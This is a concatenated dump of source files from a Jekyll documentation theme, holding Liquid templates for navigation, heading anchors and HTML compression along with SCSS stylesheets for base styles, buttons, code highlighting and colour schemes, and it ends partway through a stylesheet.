_includes/lunr/custom-index.js ================================================ ================================================ FILE: _includes/mermaid_config.js ================================================ {} ================================================ FILE: _includes/nav.html ================================================ {%- comment -%} The `nav_order` values of pages affect the order in which they are shown in the navigation panel and in the automatically generated tables of contents. Sibling pages with the same `nav_order` value may be shown in any order. Sibling pages with no `nav_order` value are shown after all pages that have explicit `nav_order` values, ordered by their `title` values. The `nav_order` and `title` values can be numbers or strings. To avoid build failures, we sort numbers and strings separately. We sort numbers by their values, and strings lexicographically. The case-sensitivity of string sorting is determined by the configuration setting of `nav_sort`. Pages with no `title` value are excluded from the navigation. Note: Numbers used as `title` or `nav_order` values should not be in quotes, unless you intend them to be lexicographically ordered. Numbers are written without spaces or thousands-separators. Negative numbers are preceded by `-`. Floats are written with the integral and fractional parts separated by `.`. (Bounds on the magnitude and precision are presumably the same as in Liquid.) {%- endcomment -%} {%- assign title_pages = include.pages | where_exp: "item", "item.title != nil" -%} {%- comment -%} A page with `nav_exclude: true` does not appear in the main navigation. If it has a `parent`, it may appear in the parent's table of contents. If it specifies `has_children: true`, it should appear in the breadcrumbs of the child pages, but its order in relation to other pages is irrelevant. Pages that never appear can be removed from the pages that need to be sorted. This optimisation can be significant on a site with many pages. In Jekyll 4, the pages to be sorted can be filtered by: {%- assign title_pages = title_pages | where_exp: "item", "item.nav_exclude != true or item.parent != nil" -%} That filter is not allowed in Jekyll 3. The following iterative code gives the same effect, but it is activated only when it will filter more than 50% of the pages. {%- endcomment -%} {%- unless title_pages == empty -%} {%- assign unsorted_pages = title_pages | where_exp: "item", "item.parent == nil" | where_exp: "item", "item.nav_exclude == true" -%} {%- assign title_pages_size = title_pages.size -%} {%- assign unsorted_pages_percent = unsorted_pages.size | times: 100 | divided_by: title_pages_size -%} {%- if unsorted_pages_percent > 50 -%} {%- assign sorted_pages = "" | split: "" -%} {%- for item in title_pages -%} {%- if item.nav_exclude != true or item.parent -%} {%- assign sorted_pages = sorted_pages | push: item -%} {%- endif -%} {%- endfor -%} {%- assign title_pages = sorted_pages -%} {%- endif -%} {%- endunless -%} {%- assign nav_order_pages = title_pages | where_exp: "item", "item.nav_order != nil" -%} {%- assign title_order_pages = title_pages | where_exp: "item", "item.nav_order == nil" -%} {%- comment -%} Divide the arrays of `nav_order_pages` and `title_order_pages` according to the type of value. The first character of the result of `jsonify` is `"` only for strings. Grouping by a single character also ensures the number of groups is small. {%- endcomment -%} {%- assign nav_number_pages = "" | split: "" -%} {%- assign nav_string_pages = "" | split: "" -%} {%- assign nav_order_groups = nav_order_pages | group_by_exp: "item", "item.nav_order | jsonify | slice: 0" -%} {%- for group in nav_order_groups -%} {%- if group.name == '"' -%} {%- assign nav_string_pages = group.items -%} {%- else -%} {%- assign nav_number_pages = nav_number_pages | concat: group.items -%} {%- endif -%} {%- endfor -%} {%- unless nav_number_pages == empty -%} {%- assign nav_number_pages = nav_number_pages | sort: "nav_order" -%} {%- endunless -%} {%- unless nav_string_pages == empty -%} {%- if site.nav_sort == 'case_insensitive' -%} {%- assign nav_string_pages = nav_string_pages | sort_natural: "nav_order" -%} {%- else -%} {%- assign nav_string_pages = nav_string_pages | sort: "nav_order" -%} {%- endif -%} {%- endunless -%} {%- assign title_number_pages = "" | split: "" -%} {%- assign title_string_pages = "" | split: "" -%} {%- assign title_order_groups = title_order_pages | group_by_exp: "item", "item.title | jsonify | slice: 0" -%} {%- for group in title_order_groups -%} {%- if group.name == '"' -%} {%- assign title_string_pages = group.items -%} {%- else -%} {%- assign title_number_pages = title_number_pages | concat: group.items -%} {%- endif -%} {%- endfor -%} {%- unless title_number_pages == empty -%} {%- assign title_number_pages = title_number_pages | sort: "title" -%} {%- endunless -%} {%- unless title_string_pages == empty -%} {%- if site.nav_sort == 'case_insensitive' -%} {%- assign title_string_pages = title_string_pages | sort_natural: "title" -%} {%- else -%} {%- assign title_string_pages = title_string_pages | sort: "title" -%} {%- endif -%} {%- endunless -%} {%- assign pages_list = nav_number_pages | concat: nav_string_pages | concat: title_number_pages | concat: title_string_pages -%} {%- assign first_level_pages = pages_list | where_exp: "item", "item.parent == nil" -%} {%- assign second_level_pages = pages_list | where_exp: "item", "item.parent != nil" | where_exp: "item", "item.grand_parent == nil" -%} {%- assign third_level_pages = pages_list | where_exp: "item", "item.grand_parent != nil" -%} {%- comment -%} The order of sibling pages in `pages_list` determines the order of display of links to them in lists of navigation links and in auto-generated TOCs. Note that Liquid evaluates conditions from right to left (and it does not allow the use of parentheses). Some conditions are not so easy to express clearly... For example, consider the following condition: C: page.collection = = include.key and page.url = = node.url or page.grand_parent = = node.title or page.parent = = node.title and page.grand_parent = = nil Here, `node` is a first-level page. The last part of the condition -- namely: `page.parent = = node.title and page.grand_parent = = nil` -- is evaluated first; it holds if and only if `page` is a child of `node`. The condition `page.grand_parent = = node.title or ...` holds when `page` is a grandchild of node, OR `...` holds. The condition `page.url = = node.url or ...` holds when `page` is `node`, OR `...` holds. The condition C: `page.collection = = include.key and ...` holds when we are generating the nav links for a collection that includes `page`, AND `...` holds. {%- endcomment -%} {%- comment -%} `page.collection` is the name of the Jekyll collection that contains the page, if any, and otherwise nil. Similarly for `include.key`. If the current page is in the collection (if any) whose navigation is currently being generated, the following code sets `first_level_url` to the URL used in the page's top-level breadcrumb (if any), and `second_level_url` to that used in the page's second-level breadcrumb (if any). For pages with children, the code also sets `toc_list` to the list of child pages, reversing the order if needed. {%- endcomment -%} {%- if page.collection == include.key -%} {%- for node in first_level_pages -%} {%- if page.grand_parent == node.title or page.parent == node.title and page.grand_parent == nil -%} {%- assign first_level_url = node.url | relative_url -%} {%- endif -%} {%- if node.has_children -%} {%- assign children_list = second_level_pages | where: "parent", node.title -%} {%- for child in children_list -%} {%- if child.has_children -%} {%- if page.url == child.url or page.parent == child.title and page.grand_parent == child.parent -%} {%- assign second_level_url = child.url | relative_url -%} {%- endif -%} {%- endif -%} {%- endfor -%} {%- endif -%} {%- endfor -%} {%- if page.has_children == true and page.has_toc != false -%} {%- assign toc_list = pages_list | where: "parent", page.title | where_exp: "item", "item.grand_parent == page.parent" -%} {%- if page.child_nav_order == 'desc' or page.child_nav_order == 'reversed' -%} {%- assign toc_list = toc_list | reverse -%} {%- endif -%} {%- endif -%} {%- endif -%} ================================================ FILE: _includes/nav_footer_custom.html ================================================ ================================================ FILE: _includes/search_placeholder_custom.html ================================================ Search {{site.title}} ================================================ FILE: _includes/title.html ================================================ {% if site.logo %} {% else %} {{ site.title }} {% endif %} ================================================ FILE: _includes/toc_heading_custom.html ================================================

Table of contents

================================================ FILE: _includes/vendor/anchor_headings.html ================================================ {% capture headingsWorkspace %} {% comment %} Copyright (c) 2018 Vladimir "allejo" Jimenez Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. {% endcomment %} {% comment %} Version 1.0.12 https://github.com/allejo/jekyll-anchor-headings "Be the pull request you wish to see in the world." ~Ben Balter Usage: {% include anchor_headings.html html=content anchorBody="#" %} Parameters: * html (string) - the HTML of compiled markdown generated by kramdown in Jekyll Optional Parameters: * beforeHeading (bool) : false - Set to true if the anchor should be placed _before_ the heading's content * headerAttrs (string) : '' - Any custom HTML attributes that will be added to the heading tag; you may NOT use `id`; the `%heading%` and `%html_id%` placeholders are available * anchorAttrs (string) : '' - Any custom HTML attributes that will be added to the `` tag; you may NOT use `href`, `class` or `title`; the `%heading%` and `%html_id%` placeholders are available * anchorBody (string) : '' - The content that will be placed inside the anchor; the `%heading%` placeholder is available * anchorClass (string) : '' - The class(es) that will be used for each anchor. Separate multiple classes with a space * anchorTitle (string) : '' - The `title` attribute that will be used for anchors * h_min (int) : 1 - The minimum header level to build an anchor for; any header lower than this value will be ignored * h_max (int) : 6 - The maximum header level to build an anchor for; any header greater than this value will be ignored * bodyPrefix (string) : '' - Anything that should be inserted inside of the heading tag _before_ its anchor and content * bodySuffix (string) : '' - Anything that should be inserted inside of the heading tag _after_ its anchor and content * generateId (true) : false - Set to true if a header without id should generate an id to use. Output: The original HTML with the addition of anchors inside of all of the h1-h6 headings. {% endcomment %} {% assign minHeader = include.h_min | default: 1 %} {% assign maxHeader = include.h_max | default: 6 %} {% assign beforeHeading = include.beforeHeading %} {% assign headerAttrs = include.headerAttrs %} {% assign nodes = include.html | split: ' {% if headerLevel == 0 %} {% assign firstChunk = node | split: '>' | first %} {% unless firstChunk contains '<' %} {% capture node %}{% endcapture %} {% assign _workspace = node | split: _closingTag %} {% capture _hAttrToStrip %}{{ _workspace[0] | split: '>' | first }}>{% endcapture %} {% assign header = _workspace[0] | replace: _hAttrToStrip, '' %} {% assign escaped_header = header | strip_html | strip %} {% assign _classWorkspace = _workspace[0] | split: 'class="' %} {% assign _classWorkspace = _classWorkspace[1] | split: '"' %} {% assign _html_class = _classWorkspace[0] %} {% if _html_class contains "no_anchor" %} {% assign skip_anchor = true %} {% else %} {% assign skip_anchor = false %} {% endif %} {% assign _idWorkspace = _workspace[0] | split: 'id="' %} {% if _idWorkspace[1] %} {% assign _idWorkspace = _idWorkspace[1] | split: '"' %} {% assign html_id = _idWorkspace[0] %} {% elsif include.generateId %} {% assign html_id = escaped_header | slugify %} {% if html_id == "" %} {% assign html_id = false %} {% endif %} {% capture headerAttrs %}{{ headerAttrs }} id="%html_id%"{% endcapture %} {% endif %} {% capture anchor %}{% endcapture %} {% if skip_anchor == false and html_id and headerLevel >= minHeader and headerLevel <= maxHeader %} {% if headerAttrs %} {% capture _hAttrToStrip %}{{ _hAttrToStrip | split: '>' | first }} {{ headerAttrs | replace: '%heading%', escaped_header | replace: '%html_id%', html_id }}>{% endcapture %} {% endif %} {% capture anchor %}href="#{{ html_id }}"{% endcapture %} {% if include.anchorClass %} {% capture anchor %}{{ anchor }} class="{{ include.anchorClass }}"{% endcapture %} {% endif %} {% if include.anchorTitle %} {% capture anchor %}{{ anchor }} title="{{ include.anchorTitle | replace: '%heading%', escaped_header }}"{% endcapture %} {% endif %} {% if include.anchorAttrs %} {% capture anchor %}{{ anchor }} {{ include.anchorAttrs | replace: '%heading%', escaped_header | replace: '%html_id%', html_id }}{% endcapture %} {% endif %} {% capture anchor %}{{ include.anchorBody | replace: '%heading%', escaped_header | default: '' }}{% endcapture %} {% if beforeHeading %} {% capture anchor %}{{ anchor }} {% endcapture %} {% else %} {% capture anchor %} {{ anchor }}{% endcapture %} {% endif %} {% endif %} {% capture new_heading %} {% endcapture %} {% assign chunkCount = _workspace | size %} {% if chunkCount > 1 %} {% capture new_heading %}{{ new_heading }}{{ _workspace | last }}{% endcapture %} {% endif %} {% capture edited_headings %}{{ edited_headings }}{{ new_heading }}{% endcapture %} {% endfor %} {% endcapture %}{% assign headingsWorkspace = '' %}{{ edited_headings | strip }} ================================================ FILE: _layouts/about.html ================================================ --- layout: default --- {{ content }} ================================================ FILE: _layouts/default.html ================================================ --- layout: table_wrappers --- {% include head.html %} Skip to main content {% include icons/icons.html %} {% include components/sidebar.html %}
{% include components/header.html %}
{% include components/breadcrumbs.html %}
{% if site.heading_anchors != false %} {% include vendor/anchor_headings.html html=content beforeHeading="true" anchorBody="" anchorClass="anchor-heading" anchorAttrs="aria-labelledby=\"%html_id%\"" %} {% else %} {{ content }} {% endif %} {% if page.has_children == true and page.has_toc != false %} {% include components/children_nav.html toc_list=toc_list %} {% endif %} {% include components/footer.html %}
{% if site.search_enabled != false %} {% include components/search_footer.html %} {% endif %}
{% if site.mermaid %} {% include components/mermaid.html %} {% endif %} ================================================ FILE: _layouts/home.html ================================================ --- layout: default --- {{ content }} ================================================ FILE: _layouts/minimal.html ================================================ --- layout: table_wrappers --- {% include head.html %} Skip to main content {% include icons/icons.html %} {% comment %} This is a bandaid fix to properly render breadcrumbs; as of now, there is some variable leakage between the sidebar component (which computes parents, grandparents) and the breadcrumbs component. We plan to remove this in a future release to deduplicate code. For more context, see https://github.com/just-the-docs/just-the-docs/pull/1058#discussion_r1057014053 {% endcomment %} {% capture nav %} {% assign pages_top_size = site.html_pages | where_exp:"item", "item.title != nil" | where_exp:"item", "item.parent == nil" | where_exp:"item", "item.nav_exclude != true" | size %} {% if pages_top_size > 0 %} {% include nav.html pages=site.html_pages key=nil %} {% endif %} {% if site.just_the_docs.collections %} {% assign collections_size = site.just_the_docs.collections | size %} {% for collection_entry in site.just_the_docs.collections %} {% assign collection_key = collection_entry[0] %} {% assign collection_value = collection_entry[1] %} {% assign collection = site[collection_key] %} {% if collection_value.nav_exclude != true %} {% include nav.html pages=collection key=collection_key %} {% endif %} {% endfor %} {% endif %} {% endcapture %}
{% include components/breadcrumbs.html %}
{% if site.heading_anchors != false %} {% include vendor/anchor_headings.html html=content beforeHeading="true" anchorBody="" anchorClass="anchor-heading" anchorAttrs="aria-labelledby=\"%html_id%\"" %} {% else %} {{ content }} {% endif %} {% if page.has_children == true and page.has_toc != false %} {% include components/children_nav.html toc_list=toc_list %} {% endif %} {% include components/footer.html %}
{% if site.mermaid %} {% include components/mermaid.html %} {% endif %} ================================================ FILE: _layouts/page.html ================================================ --- layout: default --- {{ content }} ================================================ FILE: _layouts/post.html ================================================ --- layout: default --- {{ content }} ================================================ FILE: _layouts/table_wrappers.html ================================================ --- layout: vendor/compress --- {% assign content_ = content | replace: '', '
' %} {{ content_ }} ================================================ FILE: _layouts/vendor/compress.html ================================================ --- # Jekyll layout that compresses HTML # v3.1.0 # http://jch.penibelst.de/ # © 2014–2015 Anatol Broder # MIT License --- {% capture _LINE_FEED %} {% endcapture %}{% if site.compress_html.ignore.envs contains jekyll.environment or site.compress_html.ignore.envs == "all" %}{{ content }}{% else %}{% capture _content %}{{ content }}{% endcapture %}{% assign _profile = site.compress_html.profile %}{% if site.compress_html.endings == "all" %}{% assign _endings = "html head body li dt dd optgroup option colgroup caption thead tbody tfoot tr td th" | split: " " %}{% else %}{% assign _endings = site.compress_html.endings %}{% endif %}{% for _element in _endings %}{% capture _end %}{% endcapture %}{% assign _content = _content | remove: _end %}{% endfor %}{% if _profile and _endings %}{% assign _profile_endings = _content | size | plus: 1 %}{% endif %}{% for _element in site.compress_html.startings %}{% capture _start %}<{{ _element }}>{% endcapture %}{% assign _content = _content | remove: _start %}{% endfor %}{% if _profile and site.compress_html.startings %}{% assign _profile_startings = _content | size | plus: 1 %}{% endif %}{% if site.compress_html.comments == "all" %}{% assign _comments = "" | split: " " %}{% else %}{% assign _comments = site.compress_html.comments %}{% endif %}{% if _comments.size == 2 %}{% capture _comment_befores %}.{{ _content }}{% endcapture %}{% assign _comment_befores = _comment_befores | split: _comments.first %}{% for _comment_before in _comment_befores %}{% if forloop.first %}{% continue %}{% endif %}{% capture _comment_outside %}{% if _carry %}{{ _comments.first }}{% endif %}{{ _comment_before }}{% endcapture %}{% capture _comment %}{% unless _carry %}{{ _comments.first }}{% endunless %}{{ _comment_outside | split: _comments.last | first }}{% if _comment_outside contains _comments.last %}{{ _comments.last }}{% assign _carry = false %}{% else %}{% assign _carry = true %}{% endif %}{% endcapture %}{% assign _content = _content | remove_first: _comment %}{% endfor %}{% if _profile %}{% assign _profile_comments = _content | size | plus: 1 %}{% endif %}{% endif %}{% assign _pre_befores = _content | split: "" %}{% assign _pres_after = "" %}{% if _pres.size != 0 %}{% if site.compress_html.blanklines %}{% assign _lines = _pres.last | split: _LINE_FEED %}{% capture _pres_after %}{% for _line in _lines %}{% assign _trimmed = _line | split: " " | join: " " %}{% if _trimmed != empty or forloop.last %}{% unless forloop.first %}{{ _LINE_FEED }}{% endunless %}{{ _line }}{% endif %}{% endfor %}{% endcapture %}{% else %}{% assign _pres_after = _pres.last | split: " " | join: " " %}{% endif %}{% endif %}{% capture _content %}{{ _content }}{% if _pre_before contains "" %}{% endif %}{% unless _pre_before contains "" and _pres.size == 1 %}{{ _pres_after }}{% endunless %}{% endcapture %}{% endfor %}{% if _profile %}{% assign _profile_collapse = _content | size | plus: 1 %}{% endif %}{% if site.compress_html.clippings == "all" %}{% assign _clippings = "html head title base link meta style body article section nav aside h1 h2 h3 h4 h5 h6 hgroup header footer address p hr blockquote ol ul li dl dt dd figure figcaption main div table caption colgroup col tbody thead tfoot tr td th" | split: " " %}{% else %}{% assign _clippings = site.compress_html.clippings %}{% endif %}{% for _element in _clippings %}{% assign _edges = " ;; ;" | replace: "e", _element | split: ";" %}{% assign _content = _content | replace: _edges[0], _edges[1] | replace: _edges[2], _edges[3] | replace: _edges[4], _edges[5] %}{% endfor %}{% if _profile and _clippings %}{% assign _profile_clippings = _content | size | plus: 1 %}{% endif %}{{ _content }}{% if _profile %}
Step Bytes
raw {{ content | size }}{% if _profile_endings %}
endings {{ _profile_endings }}{% endif %}{% if _profile_startings %}
startings {{ _profile_startings }}{% endif %}{% if _profile_comments %}
comments {{ _profile_comments }}{% endif %}{% if _profile_collapse %}
collapse {{ _profile_collapse }}{% endif %}{% if _profile_clippings %}
clippings {{ _profile_clippings }}{% endif %}
{% endif %}{% endif %} ================================================ FILE: _sass/base.scss ================================================ // Base element style overrides // stylelint-disable selector-no-type, selector-max-type, selector-max-specificity, selector-max-id * { box-sizing: border-box; } html { @include fs-4; scroll-behavior: smooth; } body { font-family: $body-font-family; font-size: inherit; line-height: $body-line-height; color: $body-text-color; /*background-color: #1b1a1c;*/ background-color: #ffffff; overflow-wrap: break-word; } ol, ul, dl, pre, address, blockquote, table, div, hr, form, fieldset, noscript .table-wrapper { margin-top: 0; } h1, h2, h3, h4, h5, h6, #toctitle { margin-top: 0; margin-bottom: 1em; font-weight: 500; line-height: $body-heading-line-height; color: $body-heading-color; } p { margin-top: 1em; margin-bottom: 1em; } a { color: $link-color; text-decoration: none; } a:not([class]) { text-decoration: underline; text-decoration-color: $border-color; text-underline-offset: 2px; &:hover { text-decoration-color: rgba($link-color, 0.45); } } code { font-family: $mono-font-family; font-size: 0.75em; line-height: $body-line-height; } figure, pre { margin: 0; } li { margin: 0.25em 0; } img { max-width: 100%; height: auto; } hr { height: 1px; padding: 0; margin: $sp-6 0; background-color: $border-color; border: 0; } // adds a GitHub-style sidebar to blockquotes blockquote { margin: 10px 0; // resets user-agent stylesheets for blockquotes margin-block-start: 0; margin-inline-start: 0; padding-left: 15px; border-left: 3px solid $border-color; } ================================================ FILE: _sass/buttons.scss ================================================ // Buttons and things that look like buttons // stylelint-disable color-named .btn { display: inline-block; box-sizing: border-box; padding: 0.3em 1em; margin: 0; font-family: inherit; font-size: inherit; font-weight: 500; line-height: 1.5; color: $link-color; text-decoration: none; vertical-align: baseline; cursor: pointer; background-color: $base-button-color; border-width: 0; border-radius: $border-radius; box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12), 0 3px 10px rgba(0, 0, 0, 0.08); appearance: none; &:focus { text-decoration: none; outline: none; box-shadow: 0 0 0 3px rgba(blue, 0.25); } &:focus:hover, &.selected:focus { box-shadow: 0 0 0 3px rgba(blue, 0.25); } &:hover, &.zeroclipboard-is-hover { color: darken($link-color, 2%); } &:hover, &:active, &.zeroclipboard-is-hover, &.zeroclipboard-is-active { text-decoration: none; background-color: darken($base-button-color, 1%); } &:active, &.selected, &.zeroclipboard-is-active { background-color: darken($base-button-color, 3%); background-image: none; box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15); } &.selected:hover { background-color: darken(#dcdcdc, 5%); } &:disabled, &.disabled { &, &:hover { color: rgba(102, 102, 102, 0.5); cursor: default; background-color: rgba(229, 229, 229, 0.5); background-image: none; box-shadow: none; } } } .btn-outline { color: $link-color; background: transparent; box-shadow: inset 0 0 0 2px $grey-lt-300; &:hover, &:active, &.zeroclipboard-is-hover, &.zeroclipboard-is-active { color: darken($link-color, 4%); text-decoration: none; background-color: transparent; box-shadow: inset 0 0 0 3px $grey-lt-300; } &:focus { text-decoration: none; outline: none; box-shadow: inset 0 0 0 2px $grey-dk-100, 0 0 0 3px rgba(blue, 0.25); } &:focus:hover, &.selected:focus { box-shadow: inset 0 0 0 2px $grey-dk-100; } } .btn-primary { @include btn-color($white, $btn-primary-color); } .btn-purple { @include btn-color($white, $purple-100); } .btn-blue { @include btn-color($white, $blue-000); } .btn-green { @include btn-color($white, $green-100); } ================================================ FILE: _sass/code.scss ================================================ // Code and syntax highlighting // stylelint-disable selector-no-qualifying-type, declaration-block-semicolon-newline-after,declaration-block-single-line-max-declarations, selector-no-type, selector-max-type, scss/comment-no-empty // {% raw %} // This instruction applies to all queues not within 'pre' or 'figure', avoiding 'code' generated by the highlight. :not(pre, figure) { & > code { padding: 0.2em 0.15em; font-weight: 400; background-color: $code-background-color; border: $border $border-color; border-radius: $border-radius; } } // Avoid appearance of dark border around visited code links in Safari a:visited code { border-color: $border-color; } // Content structure for highlighted code blocks using fences or Liquid // // ```[LANG]...```, no kramdown line_numbers: // div.[language-LANG.]highlighter-rouge > div.highlight > pre.highlight > code // // ```[LANG]...```, kramdown line_numbers = true: // div.[language-LANG.]highlighter-rouge > div.highlight > pre.highlight > code // > div.table-wrapper > table.rouge-table > tbody > tr // > td.rouge-gutter.gl > pre.lineno // | td.rouge-code > pre // // {% highlight LANG %}...{% endhighlight %}: // figure.highlight > pre > code.language-LANG // // {% highlight LANG linenos %}...{% endhighlight %}: // figure.highlight > pre > code.language-LANG // > div.table-wrapper > table.rouge-table > tbody > tr // > td.gutter.gl > pre.lineno // | td.code > pre // // ----...---- (AsciiDoc) // div.listingblock > div.content > pre.rouge.highlight // // fix_linenos removes the outermost pre when it encloses table.rouge-table // // See docs/index-test.md for some tests. // // No kramdown line_numbers: fences and Liquid highlighting look the same. // Kramdown line_numbers = true: fences have a wider gutter than with Liquid? // ```[LANG]...``` // or in AsciiDoc: // // ---- // ... // ---- // the code may appear with 3 different types: // container \ case: default case, code with line number, code with html rendering // top level: div.highlighter-rouge, figure.highlight, figure.highlight // second level: div.highlight, div.table-wrapper, pre.highlight // third level: pre.highlight, td.code, absent // last level: code, pre, code (optionality) // highlighter level: span, span, span // the spacing are only in the second level for case 1, 3 and in the third level for case 2 // in AsciiDoc, there is a parent container that contains optionally a title and the content. // select top level container div.highlighter-rouge, div.listingblock > div.content, figure.highlight { margin-top: 0; margin-bottom: $sp-3; background-color: $code-background-color; border-radius: $border-radius; box-shadow: none; -webkit-overflow-scrolling: touch; position: relative; padding: 0; // copy button (or other button) // the button appear only when there is a hover on the code or focus on button > button { width: $sp-3; opacity: 0; position: absolute; top: 0; right: 0; border: $sp-3 solid $code-background-color; background-color: $code-background-color; color: $body-text-color; box-sizing: content-box; svg { fill: $body-text-color; } &:active { text-decoration: none; outline: none; opacity: 1; } &:focus { opacity: 1; } } // the button can be seen by doing a simple hover in the code, there is no need to go over the location of the button &:hover { > button { cursor: copy; opacity: 1; } } } // setting the spacing and scrollbar on the second level for the first case // remove all space on the second and third level // this is a mixin to accommodate for the slightly different structures generated via Markdown vs AsciiDoc @mixin scroll-and-spacing($code-div, $pre-select) { #{$code-div} { overflow-x: auto; padding: $sp-3; margin: 0; border: 0; } #{$pre-select}, code { padding: 0; margin: 0; border: 0; } } // for Markdown div.highlighter-rouge { @include scroll-and-spacing("div.highlight", "pre.highlight"); } // for AsciiDoc. we also need to fix the margins for its parent container. div.listingblock { @include scroll-and-spacing("div.content", "div.content > pre"); margin-top: 0; margin-bottom: $sp-3; } // {% highlight LANG %}...{% endhighlight %}, // {% highlight LANG linenos %}...{% endhighlight %}: // setting the spacing and scrollbar on the second level for the thirt case // the css rule are apply only to the last code enviroment // setting the scroolbar figure.highlight { pre, :not(pre) > code { overflow-x: auto; padding: $sp-3; margin: 0; border: 0; } } // ```[LANG]...```, kramdown line_numbers = true, // {% highlight LANG linenos %}...{% endhighlight %}: // setting the spacing and scrollbar on the thirt level for the second case .highlight .table-wrapper { padding: $sp-3 0; margin: 0; border: 0; box-shadow: none; td, pre { @include fs-2; min-width: 0; padding: 0; background-color: $code-background-color; border: 0; } td.gl { width: 1em; padding-right: $sp-3; padding-left: $sp-3; } pre { margin: 0; line-height: 2; } } // Code examples: html render of a code .code-example, .listingblock > .title { padding: $sp-3; margin-bottom: $sp-3; overflow: auto; border: 1px solid $border-color; border-radius: $border-radius; + .highlighter-rouge, + .sectionbody .listingblock, + .content, + figure.highlight { position: relative; margin-top: -$sp-4; border-right: 1px solid $border-color; border-bottom: 1px solid $border-color; border-left: 1px solid $border-color; border-top-left-radius: 0; border-top-right-radius: 0; } } // Mermaid diagram code blocks should be left unstyled. code.language-mermaid { padding: 0; background-color: inherit; border: 0; } // Override OneDarkJekyll Colors for Code Blocks .highlight, pre.highlight { background: $code-background-color; // Code Background // For Backwards Compatibility Before $code-linenumber-color was added @if variable-exists(code-linenumber-color) { color: $code-linenumber-color; // Code Line Numbers } @else { color: $body-text-color; // Code Line Numbers } } // Override OneDarkJekyll Colors for Code Blocks .highlight pre { background: $code-background-color; // Code Background } // {% endraw %} ================================================ FILE: _sass/color_schemes/dark.scss ================================================ $body-background-color: $grey-dk-300; $body-heading-color: $grey-lt-000; $body-text-color: $grey-lt-300; $link-color: $blue-000; $nav-child-link-color: $grey-dk-000; $sidebar-color: $grey-dk-300; $base-button-color: $grey-dk-250; $btn-primary-color: $blue-200; $code-background-color: #31343f; // OneDarkJekyll default for syntax-one-dark-vivid $code-linenumber-color: #dee2f7; // OneDarkJekyll .nf for syntax-one-dark-vivid $feedback-color: darken($sidebar-color, 3%); $table-background-color: $grey-dk-250; $search-background-color: $grey-dk-250; $search-result-preview-color: $grey-dk-000; $border-color: $grey-dk-200; @import "./vendor/OneDarkJekyll/syntax"; // this is the one-dark-vivid atom syntax theme ================================================ FILE: _sass/color_schemes/legacy_light.scss ================================================ // Moved from _sass/code.scss .highlight .c { color: #586e75; } // comment // .highlight .err { color: #93a1a1; } // error // .highlight .g { color: #93a1a1; } // generic // .highlight .k { color: #859900; } // keyword // .highlight .l { color: #93a1a1; } // literal // .highlight .n { color: #93a1a1; } // name // .highlight .o { color: #859900; } // operator // .highlight .x { color: #cb4b16; } // other // .highlight .p { color: #93a1a1; } // punctuation // .highlight .cm { color: #586e75; } // comment.multiline // .highlight .cp { color: #859900; } // comment.preproc // .highlight .c1 { color: #586e75; } // comment.single // .highlight .cs { color: #859900; } // comment.special // .highlight .gd { color: #2aa198; } // generic.deleted // .highlight .ge { font-style: italic; color: #93a1a1; } // generic.emph // .highlight .gr { color: #dc322f; } // generic.error // .highlight .gh { color: #cb4b16; } // generic.heading // .highlight .gi { color: #859900; } // generic.inserted // .highlight .go { color: #93a1a1; } // generic.output // .highlight .gp { color: #93a1a1; } // generic.prompt // .highlight .gs { font-weight: bold; color: #93a1a1; } // generic.strong // .highlight .gu { color: #cb4b16; } // generic.subheading // .highlight .gt { color: #93a1a1; } // generic.traceback // .highlight .kc { color: #cb4b16; } // keyword.constant // .highlight .kd { color: #268bd2; } // keyword.declaration // .highlight .kn { color: #859900; } // keyword.namespace // .highlight .kp { color: #859900; } // keyword.pseudo // .highlight .kr { color: #268bd2; } // keyword.reserved // .highlight .kt { color: #dc322f; } // keyword.type // .highlight .ld { color: #93a1a1; } // literal.date // .highlight .m { color: #2aa198; } // literal.number // .highlight .s { color: #2aa198; } // literal.string // .highlight .na { color: #555; } // name.attribute // .highlight .nb { color: #b58900; } // name.builtin // .highlight .nc { color: #268bd2; } // name.class // .highlight .no { color: #cb4b16; } // name.constant // .highlight .nd { color: #268bd2; } // name.decorator // .highlight .ni { color: #cb4b16; } // name.entity // .highlight .ne { color: #cb4b16; } // name.exception // .highlight .nf { color: #268bd2; } // name.function // .highlight .nl { color: #555; } // name.label // .highlight .nn { color: #93a1a1; } // name.namespace // .highlight .nx { color: #555; } // name.other // .highlight .py { color: #93a1a1; } // name.property // .highlight .nt { color: #268bd2; } // name.tag // .highlight .nv { color: #268bd2; } // name.variable // .highlight .ow { color: #859900; } // operator.word // .highlight .w { color: #93a1a1; } // text.whitespace // .highlight .mf { color: #2aa198; } // literal.number.float // .highlight .mh { color: #2aa198; } // literal.number.hex // .highlight .mi { color: #2aa198; } // literal.number.integer // .highlight .mo { color: #2aa198; } // literal.number.oct // .highlight .sb { color: #586e75; } // literal.string.backtick // .highlight .sc { color: #2aa198; } // literal.string.char // .highlight .sd { color: #93a1a1; } // literal.string.doc // .highlight .s2 { color: #2aa198; } // literal.string.double // .highlight .se { color: #cb4b16; } // literal.string.escape // .highlight .sh { color: #93a1a1; } // literal.string.heredoc // .highlight .si { color: #2aa198; } // literal.string.interpol // .highlight .sx { color: #2aa198; } // literal.string.other // .highlight .sr { color: #dc322f; } // literal.string.regex // .highlight .s1 { color: #2aa198; } // literal.string.single // .highlight .ss { color: #2aa198; } // literal.string.symbol // .highlight .bp { color: #268bd2; } // name.builtin.pseudo // .highlight .vc { color: #268bd2; } // name.variable.class // .highlight .vg { color: #268bd2; } // name.variable.global // .highlight .vi { color: #268bd2; } // name.variable.instance // .highlight .il { color: #2aa198; } // literal.number.integer.long // ================================================ FILE: _sass/color_schemes/light.scss ================================================ $body-background-color: $white !default; $body-heading-color: 